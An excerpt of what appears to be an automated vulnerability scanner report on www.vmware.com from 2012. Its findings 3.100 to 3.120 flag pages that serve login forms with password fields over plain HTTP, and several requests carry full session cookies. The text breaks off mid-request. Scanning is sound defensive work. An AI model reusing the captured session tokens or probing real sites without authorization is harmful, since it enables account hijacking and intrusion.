GET /products/vsphere/pricing.html HTTP/1.1
Host: www.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.vmware.com/products/vsphere/mid-size-and-enterprise-business/overview.html?src=WWW_ProdSelTool_vsphere-standard_LearnMore
Cookie: s_nr=1335320426225; uid=10.113.78.120.309951335320403339; BE_CLA=p_id%3DAL6PP6A8PNPPRNPL26J8P2420LRL8A2JNH%26p_last_ref%3Dhttp%253A//www.fakereferrerdominator.com/referrerPathName%253FRefParName%253DRefValue%26s_entry%3Dhttp%253A//www.vmware.com/%26p_first_ref%3Dhttp%253A//www.fakereferrerdominator.com/referrerPathName%253FRefParName%253DRefValue%26p_first_entry%3Dhttp%253A//www.vmware.com/support/pubs/%26s_expire%3D1335845754247%26s_id%3D8J246NP62NPPRJPJ82P8P2420LRL8A2JNH; __utma=106857756.1485474146.1335843542.1335843542.1335843948.2; __utmb=106857756.1.10.1335843948; __utmc=106857756; __utmz=106857756.1335843948.2.2.utmcsr=WWW_ProdSelTool_vsphere-standard_LearnMore|utmccn=src-tagged-url|utmcmd=src; myvmware-wwwa-prod=A412jKE9HPwmz2CFuADnKD5eFD3y9JUOWCoHifWjQCEIaVuuEDe8Z0A9hbIP70aiolod1HsKREGFV3s=; myvmware-www=hsK5BtblEqVlyXvFsN/GU1k4V/ZdkREjnc2ldo8El3hYmrviY7JUPKXDkZX36tM9n37Mvsr2zXCRAA==; TSc99b3e=06377ac5abde2b66a767d814680bd8c5abb1f043c06b19c14f9f5bff; first_pv_191807=1; _jsuid=2410290445; unpoco_191807=1; s_cc=true; ev6=xss%2Bsql%2Binjection; s_sq=vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520products%252520%25253A%252520vsphere%252520%25253A%252520mid-size-and-enterprise-business%252520%25253A%252520overview.html%2526pidt%253D1%2526oid%253Dhttp%25253A//www.vmware.com/go/EvaluatevSphere%2526ot%253DA; s_vi=[CS]v1|27CFADD0051D0829-40000104A02C3C94[CE]; s_evar13=WWW_ProdSelTool_vsphere-standard_LearnMore; __unam=c7447e-13706811b44-1074dca4-1

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en-US
Vary: Accept-Encoding
Content-Length: 79613
Date: Tue, 01 May 2012 03:46:07 GMT
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.100. http://www.vmware.com/resources/techresources/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /resources/techresources/

Request

GET /resources/techresources/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=utf-8
Expires: Tue, 01 May 2012 03:52:42 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:52:42 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: PHPSESSID=84th8eueji09mmqi06uijeh962; expires=Thu, 24 May 2012 07:26:01 GMT; path=/
Set-Cookie: BIGipServerportal-prod-webgate-pool=1984721162.20480.0000; path=/
Set-Cookie: TSc99b3e=b3d2aedab537c5f1526c2ef38043d6c0abb1f043c06b19c14f9f5e09; Path=/
Content-Length: 117464

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<meta http-equi
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form" id="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password" /></div>
...[SNIP]...
3.101. http://www.vmware.com/resources/techresources/10044
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /resources/techresources/10044

Request

GET /resources/techresources/10044 HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=utf-8
Expires: Tue, 01 May 2012 03:52:42 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:52:42 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: PHPSESSID=mq6qggfrge3lam6i6m63e1hda4; expires=Thu, 24 May 2012 07:26:02 GMT; path=/
Set-Cookie: BIGipServerportal-prod-webgate-pool=1900835082.20480.0000; path=/
Set-Cookie: TSc99b3e=f49f7105414829c25c3a8b5d1c28b743abb1f043c06b19c14f9f5e0a; Path=/
Content-Length: 77680

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<meta http-equi
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form" id="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password" /></div>
...[SNIP]...
3.102. http://www.vmware.com/resources/techresources/user/login
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /resources/techresources/user/login

Request

GET /resources/techresources/user/login HTTP/1.1
Host: www.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.vmware.com/resources/techresources/10044
Cookie: s_nr=1335320426225; uid=10.113.78.120.309951335320403339; BE_CLA=p_id%3DAL6PP6A8PNPPRNPL26J8P2420LRL8A2JNH%26p_last_ref%3Dhttp%253A//www.fakereferrerdominator.com/referrerPathName%253FRefParName%253DRefValue%26s_entry%3Dhttp%253A//www.vmware.com/%26p_first_ref%3Dhttp%253A//www.fakereferrerdominator.com/referrerPathName%253FRefParName%253DRefValue%26p_first_entry%3Dhttp%253A//www.vmware.com/support/pubs/%26s_expire%3D1335846775314%26s_id%3D8J246NP62NPPRJPJ82P8P2420LRL8A2JNH; __utma=106857756.1485474146.1335843542.1335843542.1335843948.2; __utmb=106857756.2.10.1335843948; __utmc=106857756; __utmz=106857756.1335843948.2.2.utmcsr=WWW_ProdSelTool_vsphere-standard_LearnMore|utmccn=src-tagged-url|utmcmd=src; myvmware-wwwa-prod=A412jKE9HPwmz2CFuADnKD5eFD3y9JUOWCoHifWjQCEIaVuuEDe8Z0A9hbIP70aiolod1HsKREGFV3s=; myvmware-www=hsK5BtblEqVlyXvFsN/GU1k4V/ZdkREjnc2ldo8El3hYmrviY7JUPKXDkZX36tM9n37Mvsr2zXCRAA==; TSc99b3e=99c6d0a8679c6a153fca6778e0c7a560abb1f043c06b19c14f9f605f; _jsuid=2410290445; unpoco_191807=1; s_cc=true; ev6=xss%2Bsql%2Binjection; s_sq=vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520products%252520%25253A%252520vsphere%252520%25253A%252520mid-size-and-enterprise-business%252520%25253A%252520overview.html%2526pidt%253D1%2526oid%253Dhttp%25253A//www.vmware.com/go/EvaluatevSphere%2526ot%253DA; s_vi=[CS]v1|27CFADD0051D0829-40000104A02C3C94[CE]; s_evar13=WWW_ProdSelTool_vsphere-standard_LearnMore; __unam=c7447e-13706811b44-1074dca4-1; JSESSIONID=E767A3875242960C32EB925383A61EEA; PHPSESSID=5tm66adjd92vc7aqre6rim3er4; BIGipServerportal-prod-webgate-pool=1984721162.20480.0000

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Expires: Tue, 01 May 2012 04:04:06 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 04:04:06 GMT
Content-Length: 77111
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<meta http-equi
...[SNIP]...
<!-- begin content --><form action="/resources/techresources/login_action.php" method="post" name="frmLogin" onSubmit="return validateLogin()">
<table cellpadding='10' cellspacing='0' width='100%'>
...[SNIP]...
<br />
<input type="password" class="form-password" maxlength="64" name="password" id="edit-password" size="30" value="" />
</div>
...[SNIP]...
3.103. http://www.vmware.com/services/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /services/

Request

GET /services/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:45 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 78762


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.104. http://www.vmware.com/services/accelerate/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /services/accelerate/

Request

GET /services/accelerate/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en-US
Date: Tue, 01 May 2012 03:52:45 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 83132


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.105. http://www.vmware.com/services/accelerate/accelerate-benchmarking-services.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /services/accelerate/accelerate-benchmarking-services.html

Request

GET /services/accelerate/accelerate-benchmarking-services.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:45 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 83277


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.106. http://www.vmware.com/services/accelerate/it-strategy-services.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /services/accelerate/it-strategy-services.html

Request

GET /services/accelerate/it-strategy-services.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:46 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 82762


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.107. http://www.vmware.com/services/accelerate/team.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /services/accelerate/team.html

Request

GET /services/accelerate/team.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:46 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 83585


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.108. http://www.vmware.com/services/accelerate/transformation-readiness-services.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /services/accelerate/transformation-readiness-services.html

Request

GET /services/accelerate/transformation-readiness-services.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:45 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 82429


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.109. http://www.vmware.com/services/consulting/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /services/consulting/

Request

GET /services/consulting/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:47 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 79913


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.110. http://www.vmware.com/services/consulting/vmware-business-critical-apps-services.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /services/consulting/vmware-business-critical-apps-services.html

Request

GET /services/consulting/vmware-business-critical-apps-services.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:47 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 82112


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.111. http://www.vmware.com/services/consulting/vmware-vfabric-consulting-services.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /services/consulting/vmware-vfabric-consulting-services.html

Request

GET /services/consulting/vmware-vfabric-consulting-services.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:48 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 84435


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.112. http://www.vmware.com/services/tam/index.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /services/tam/index.html

Request

GET /services/tam/index.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en-US
Date: Tue, 01 May 2012 03:52:48 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 78922


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.113. http://www.vmware.com/site_index.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /site_index.html

Request

GET /site_index.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:53:07 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 158611


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.114. http://www.vmware.com/solutions/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /solutions/

Request

GET /solutions/ HTTP/1.1
Host: www.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://search.vmware.com/search?cn=vmware&cc=www&client=VMware_Site&entqr=0&ud=1&num=20&output=xml_no_dtd&proxystylesheet=VMware_gsa_Site&site=VMware_Site&ie=UTF-8&oe=UTF-8&q=xss+sql+injection&x=0&y=0
Cookie: s_nr=1335320426225; uid=10.113.78.120.309951335320403339; BE_CLA=p_id%3DAL6PP6A8PNPPRNPL26J8P2420LRL8A2JNH%26p_last_ref%3Dhttp%253A//www.fakereferrerdominator.com/referrerPathName%253FRefParName%253DRefValue%26s_entry%3Dhttp%253A//www.vmware.com/%26p_first_ref%3Dhttp%253A//www.fakereferrerdominator.com/referrerPathName%253FRefParName%253DRefValue%26p_first_entry%3Dhttp%253A//www.vmware.com/support/pubs/%26s_expire%3D1335845522319%26s_id%3D8J246NP62NPPRJPJ82P8P2420LRL8A2JNH; __utma=106857756.1485474146.1335843542.1335843542.1335843542.1; __utmb=106857756.7.10.1335843542; __utmc=106857756; __utmz=106857756.1335843542.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; myvmware-wwwa-prod=A412jKE9HPwmz2CFuADnKD5eFD3y9JUOWCoHifWjQCEIaVuuEDe8Z0A9hbIP70aiolod1HsKREGFV3s=; myvmware-www=hsK5BtblEqVlyXvFsN/GU1k4V/ZdkREjnc2ldo8El3hYmrviY7JUPKXDkZX36tM9n37Mvsr2zXCRAA==; TSc99b3e=5377f1bc8a6b783c77daa0684fa3e457abb1f043c06b19c14f9f5ad1; first_pv_191807=1; _jsuid=2410290445; unpoco_191807=1; s_cc=true; ev6=xss%2Bsql%2Binjection; s_sq=vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520search%252520%25253A%252520search%2526pidt%253D1%2526oid%253Dhttp%25253A//www.vmware.com/solutions/%2526ot%253DA; s_vi=[CS]v1|27CFADD0051D0829-40000104A02C3C94[CE]

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en-US
Vary: Accept-Encoding
Content-Length: 79524
Date: Tue, 01 May 2012 03:43:44 GMT
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.115. http://www.vmware.com/solutions/application-platform/index.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /solutions/application-platform/index.html

Request

GET /solutions/application-platform/index.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:35 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 84760


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.116. http://www.vmware.com/solutions/business-critical-apps/exchange/index.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /solutions/business-critical-apps/exchange/index.html

Request

GET /solutions/business-critical-apps/exchange/index.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:15 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 85402


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.117. http://www.vmware.com/solutions/business-critical-apps/index.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /solutions/business-critical-apps/index.html

Request

GET /solutions/business-critical-apps/index.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:15 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 84114


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.118. http://www.vmware.com/solutions/business-critical-apps/sharepoint_server/index.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /solutions/business-critical-apps/sharepoint_server/index.html

Request

GET /solutions/business-critical-apps/sharepoint_server/index.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:20 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 86604


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.119. http://www.vmware.com/solutions/business-critical-apps/sql/index.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /solutions/business-critical-apps/sql/index.html

Request

GET /solutions/business-critical-apps/sql/index.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:18 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 85068


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.120. http://www.vmware.com/solutions/cloud-solutions.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /solutions/cloud-solutions.html

Request

GET /solutions/cloud-solutions.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
